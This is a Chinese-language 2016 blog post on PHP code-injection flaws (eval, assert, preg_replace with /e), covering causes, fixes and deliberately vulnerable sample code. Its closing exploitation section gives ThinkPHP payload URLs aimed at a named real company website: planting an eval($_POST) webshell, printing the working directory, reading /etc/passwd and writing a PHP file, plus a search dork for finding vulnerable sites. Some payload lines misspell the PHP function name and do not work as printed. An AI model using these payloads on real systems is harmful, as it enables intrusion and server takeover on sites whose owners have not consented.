9_任意代码执行(字符串转换成代码执行)

一、背景介绍

  当应用在调用一些能将字符串转化为代码的函数(如php中的eval)时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞。狭义的代码注入通常指将可执行代码注入到当前页面中,如php的eval函数,可以将字符串代表的代码作为php代码执行,当用户能够控制这段字符串时,将产生代码注入代码注入漏洞(也称命令执行)。广义上的代码注入,可以覆盖大半安全漏洞的分类。

二、漏洞成因

  几种常用语言,都有将字符串转化成代码去执行的相关函数。

  PHP:eval assert

  Python:exec

  Java:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等。

  asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>

  问题一:为什么使用执行代码函数?

  答:应用有时候会考虑灵活性、简洁性,在代码中调用eval之类的函数去处理。例如phpcms中很常用的string2array函数。其实settings表示一个字符串形式的"php数组",我们必须要用eval函数才能将"字符串"变成一个真正的数组,所以这也是phpcms里多次调用string2array函数的主要原因。

  成因:很多CMS为了设置的灵活性,都会选择用eval来处理内容。但处理的同时并没有检查用户是否可以控制被处理的"字符串"。

三、漏洞分类

  1.执行代码的函数      eval assert

  2.callback函数         preg_replace + /e模式
  3.反序列化可能导致代码执行     unserialize()反序列化函数

  4.文件包含漏洞(见文件包含漏洞)

四、漏洞危害

  1.执行任意代码

  2.向网站写webshell

  3.甚至控制服务器

五、漏洞利用(一般有两种:直接在url里写webshell    连接一句话)

  1.首先要知道在哪里会有漏洞?潜在漏洞的点:

    PHP中能造成代码注入的主要函数:

      eval()   assert()   preg_replace()+/e模式   unserialize()(反序列化函数)

  2.本地测试例子

    2.1漏洞代码

<?php
    $data=$_GET['data'];
    eval("\$ret = $data");
    echo $ret;
?>

 

    2.2漏洞代码

<?php
    $data=$_GET['data'];
    echo "\$ret = '$data';";
    eval("\$ret = strtolower('$data');");
    echo $ret;
?>

 

    2.3漏洞代码

<?php
    $data=$_GET['data'];
    echo "\$ret=strtolower(\"$data\");";
    eval("$ret=strtolower(\"$data\");");
?>

 

    2.4漏洞代码

<?php
    $data=$_GET['data'];
    echo $data;
    preg_replace('/<data>(.*)<\/data>/e','$ret="\\1";',$data);
    echo $ret;
?>

 

  

六、修复方案

  1.针对eval()函数

    能使用json保存数组、对象就使用json,不要将php对象保存成字符串,否则读取的时候需要使用eval。

    对于必须使用eval的情况,一定要保证用户不能轻易接触eval的参数(或用正则严格判断输入的数据格式)。

    对于字符串,一定要使用单引号包裹可控代码,并再插入前进行addslashes()。

  2.针对preg_replace函数

    放弃使用preg_replace的e修饰符。使用preg_replace_callback()替换。

    如果非要使用preg_replace()+e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹。

七、找实例

  1.扫描器扫出来  awvs

  2.特定的cms版本会有漏洞

  3.Thinkphp2.1 2.2 3.1

  google搜索语法: intext:thinkphp intext:"Fast & Simple OOP PHP Framework" intext:"2.1"

  MVC框架:

    /News/detail/item/850

    模块 方法 参数名 参数值

八、利用方法

1.一句话(在参数值位置写入):

http://www.sinosteelchem.com/product_detail_en/id/%7B$%7B@eval($_POST[123])%7D%7D

2.获取当前路径

http://www.sinosteelchem.com/product_detail_en/id/%7B$%7Bprint%20(getcwd())%7D%7D

3.读文件

{${exit(var_dump(file_get_connects($_POST[f])))}}
f=/etc/passwd
4.写webshell
{${exit(var_dump(file_get_connects($_POST[f],$_POST[d])))}}
f=/tmp/aaaaaaa.php&d=111111111
f是写入的php文件 d可以写一句话

    

 

posted on 2016-08-31 00:36  Time_dog  阅读(2286)  评论(0编辑  收藏  举报

导航